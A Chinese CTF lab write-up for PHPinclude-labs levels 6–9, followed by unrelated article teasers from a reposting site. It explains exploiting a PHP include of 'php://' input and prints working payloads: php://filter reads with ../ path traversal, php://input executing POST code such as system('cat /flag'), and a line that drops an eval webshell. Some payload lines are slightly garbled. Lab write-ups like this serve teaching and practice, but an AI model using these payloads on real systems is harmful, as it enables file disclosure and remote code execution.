[HelloCTF]PHPinclude-labs超详细WP-Level 6Level 7Level 8Level 9-php://协议

由于Level 6-9 关的原理都是通用的, 这里就拿第6关举例, 其他的关卡同理

源码分析

  • 定位到代码 isset($_GET['wrappers']) ? include("php://".$_GET['wrappers']) : '';

  • 与前几关发生变化的就是 php://

解题分析

  • 这一关要求我们使用 php协议

  • php:// 协议

    • php://filter

      • 参数

      • 过滤器

      • 示例

        • index.php?file1=php://filter/read=convert.base64-encode/resource=flag.php
          
    • php://input

      • 依赖 allow_url_include:On

      • 可以访问请求的原始数据的只读流,将 POST 请求的数据当作 php 代码执行

      • http://127.0.0.1/include.php?file=php://input
        [POST DATA部分]
        <?phpfputs(fopen('a.php','w'), <?php @eval($ GET[cmd]); ?>'); ?>
        
      • 可以用于直接传入文件内容, 而不是文件名

  • 看完上述对 php协议 的介绍应该有解题思路吧, 下文通过两种方式演示一下

解题步骤

php://filter

  • 因为题目已经加上了 php://, Payload 就不需要再写了

  • php:// 后面跟上 filter/read=

    • 使用 read 读取文件
  • read= 后面跟上过滤器 convert.base64-encode

    • 将结果进行 base64编码

    • 这里是可以防止被过滤, 或者要输出PHP文件等情况, 这一题当然可以不使用

  • 接着在 convert.base64-encode 跟上 /resource=../../../../../../flag(如果不是用过滤器的话, 直接在read= 后面跟上)

    • 这里通过 ../ 的叠加, 强行回到根目录, 方便后续进行路径访问
  • 完整 Payload

    • ?wrappers=filter/read=/resource=../../../../../../../flag
      

php://input

  • 这里是把 POST 请求数据当成 PHP 代码执行

  • 在 GET 传参中, 只需要传入 input 即可, 因为题目已经有了 php://

  • 接着 POST 请求传入要执行的代码

    • <?php system("cat /flag"); ?>'); ?>
      

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/36709.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

《Linux 网络架构:基于 TCP 协议的多人聊天系统搭建详解》

一、系统概述 本系统是一个基于 TCP 协议的多人聊天系统&#xff0c;由一个服务器和多个客户端组成。客户端可以连接到服务器&#xff0c;向服务器发送消息&#xff0c;服务器接收到消息后将其转发给其他客户端&#xff0c;实现多人之间的实时聊天。系统使用 C 语言编写&#x…

Maven生命周期

三套生命周期&#xff0c;项目清理&#xff0c;项目构建&#xff0c;项目生成 我们主要关注五个阶段 clean&#xff1a;移除上一次构建生成的文件compile&#xff1a;编译项目源代码test&#xff1a;使用合适的单元测试框架运行测试package&#xff1a;将编译后的文件打包&am…

【JVM】内存区域划分,类加载机制和垃圾回收机制

本篇内容为了解 JVM 的内存区域划分&#xff0c;类加载机制&#xff0c;垃圾回收机制。实际开发中几乎用不到&#xff0c;但为了某些情况我们又不得不了解。 目录 一、JVM中的内存区域划分 1.1 内存区域划分考点 二、JVM的类加载机制 2.1 类加载流程 2.2 类加载什么时候会…

v-自定义权限指令与v-if互相影响导致报错Cannot read properties of null (reading ‘insertBefore‘)

项目场景&#xff1a; vue3vite项目中报错Cannot read properties of null (reading ‘insertBefore‘) 原因分析&#xff1a; :v-自定义权限指令与v-if互相影响 <el-button text bg type"primary" click"handleWrite(detailData,项目填报)" v-hasPe…

qt下载和安装教程国内源下载地址

qt不断在更新中&#xff0c;目前qt6日渐成熟&#xff0c;先前我们到官方下载或者国内镜像直接可以下载到exe文件安装&#xff0c;但是最近几年qt官方似乎在逐渐关闭旧版本下载通道&#xff0c;列为不推荐下载。但是qt5以其广泛使用和稳定性&#xff0c;以及积累大量代码使得qt5…

k8s1.30 部署calio网络

一、介绍 网路组件有很多种&#xff0c;只需要部署其中一个&#xff0c;推荐calio。 calio是一个纯三成的数据中心网络方案&#xff0c;calico支持广泛的平台。如k8s&#xff0c;openstack等。 calio在每一个计算节点利用linux内核&#xff0c;实现了一个高效的虚拟路由器来…

navicat导出文件密码解密

文章目录 一、概念二、导出文件1、创建的数据库连接信息2、导出带密码的连接信息3、查看导出后的文件 三、Python代码解析四、参考地址 一、概念 Navicat中导出的带密码的文件后缀是.ncx结尾的&#xff0c;里面是xml格式的文件&#xff0c;存储了数据库的连接&#xff0c;方便…

实验5:Vuex状态管理

Web前端开发技术课程实验报告 实验5&#xff1a;Vuex状态管理 一、实验目的&#xff1a; 掌握Vuex的工作原理和5个核心概念。掌握Vuex API接口的使用方法。 二、实验要求&#xff1a; 掌握mutations、actions、getters的定义和使用方法&#xff0c;完成以下实验内容。上交实…

深入解析 Linux 声卡驱动:从架构到实战

在嵌入式 Linux 设备中&#xff0c;音频功能的实现离不开 Linux 声卡驱动。而 ALSA (Advanced Linux Sound Architecture) 作为 Linux 内核的音频框架&#xff0c;提供了一整套 API 和驱动模型&#xff0c;帮助开发者快速集成音频功能。本篇文章以 WM8960 音频编解码器&#xf…

windows+ragflow+deepseek实战之一excel表查询

ragflows平台部署参考文章 Win10系统Docker+DeepSeek+ragflow搭建本地知识库 ragflow通过python实现参考这篇文章 ragflow通过python实现 文章目录 背景效果1、准备数据2、创建知识库3、上传数据并解析4、新建聊天助理5、测试会话背景 前面已经基于Win10系统Docker+DeepSeek+…

【VUE】ant design vue实现表格table上下拖拽排序

适合版本&#xff1a;ant design vue 1.7.8 实现效果&#xff1a; 代码&#xff1a; <template><div class"table-container"><a-table:columns"columns":dataSource"tableData":rowKey"record > record.id":row…

vue3+Ts+elementPlus二次封装Table分页表格,表格内展示图片、switch开关、支持

目录 一.项目文件结构 二.实现代码 1.子组件&#xff08;表格组件&#xff09; 2.父组件&#xff08;使用表格&#xff09; 一.项目文件结构 1.表格组件&#xff08;子组件&#xff09;位置 2.使用表格组件的页面文件&#xff08;父组件&#xff09;位置 3.演示图片位置 ele…

ModBus TCP/RTU互转(主)(从)|| Modbus主动轮询下发的工业应用 || 基于智能网关的串口服务器进行Modbus数据收发的工业应用

目录 前言 一、ModBus TCP/RTU互转&#xff08;从&#xff09;及应用|| 1.1 举栗子 二、ModBus TCP/RTU互转&#xff08;主&#xff09; 2.1 举栗子 三、ModBus 主动轮询 3.1 Modbus主动轮询原理 3.2 Modbus格式上传与下发 3.2.1.设置Modbus主动轮询指令 3.2.2 设…

Elasticsearch 在航空行业:数据管理的游戏规则改变者

作者&#xff1a;来自 Elastic Adam La Roche 数字化客户体验不再是奢侈品&#xff0c;而是欧洲航空公司必不可少的需求。它推动了客户满意度&#xff0c;提升了运营效率&#xff0c;并创造了可持续的竞争优势。随着行业的不断发展&#xff0c;优先投资前沿数字技术和平台的航空…

CXL协议之FM(Fabric Management)解释

CXL协议中的FM功能详解 1. FM的核心作用 FM是CXL&#xff08;Compute Express Link&#xff09;架构中的核心管理实体&#xff0c;负责协调和管理CXL设备之间的通信、资源分配及拓扑结构。其核心功能包括&#xff1a; 设备发现与枚举&#xff1a;识别CXL拓扑中的设备&#x…

html5基于Canvas的经典打砖块游戏开发实践

基于Canvas的经典打砖块游戏开发实践 这里写目录标题 基于Canvas的经典打砖块游戏开发实践项目介绍技术栈核心功能实现1. 游戏初始化2. 游戏对象设计3. 碰撞检测系统4. 动画系统5. 用户界面设计 性能优化1. 渲染优化2. 内存管理 项目亮点技术难点突破项目总结 项目介绍 在这个…

IDEA的常用设置与工具集成

简介 IDEA是捷克JetBrains公司推出的一款Java集成开发环境&#xff0c;在业内被公认为最好的Java开发工具之一&#xff0c;尤其在智能代码助手、代码自动提示、重构、J2EE支持、Ant、Junit、CVS整合、代码审查、创新的GUI设计等方面的功能可以说是超强的。 官网&#xff1a;ht…

Golang | 每日一练 (6)

&#x1f4a2;欢迎来到张胤尘的技术站 &#x1f4a5;技术如江河&#xff0c;汇聚众志成。代码似星辰&#xff0c;照亮行征程。开源精神长&#xff0c;传承永不忘。携手共前行&#xff0c;未来更辉煌&#x1f4a5; 文章目录 Golang | 每日一练 (6)题目参考答案什么是内存逃逸&am…

Qt窗口控件之颜色对话框QColorDialog

颜色对话框QColorDialog QColorDialog 是 Qt 内置的颜色对话框&#xff0c;它允许用户选择一个颜色&#xff0c;并通过接口获取颜色的值&#xff0c;进行进一步设置。 获取QColorDialog颜色 QColorDialog 可以使用堆创建&#xff0c;挂载对象树的方式。但它更适合使用它的静…

Windows Docker 报错: has no HTTPS proxy,换源

pull python 3.7报错&#xff1a; 尝试拉取Docker 测试库hello world也失败 尝试使用临时镜像源&#xff0c;可以成功拉取&#xff1a; sudo docker pull docker.m.daocloud.io/hello-world说明确实是网络问题&#xff0c;需要配置镜像源&#xff0c;为了方便&#xff0c;在d…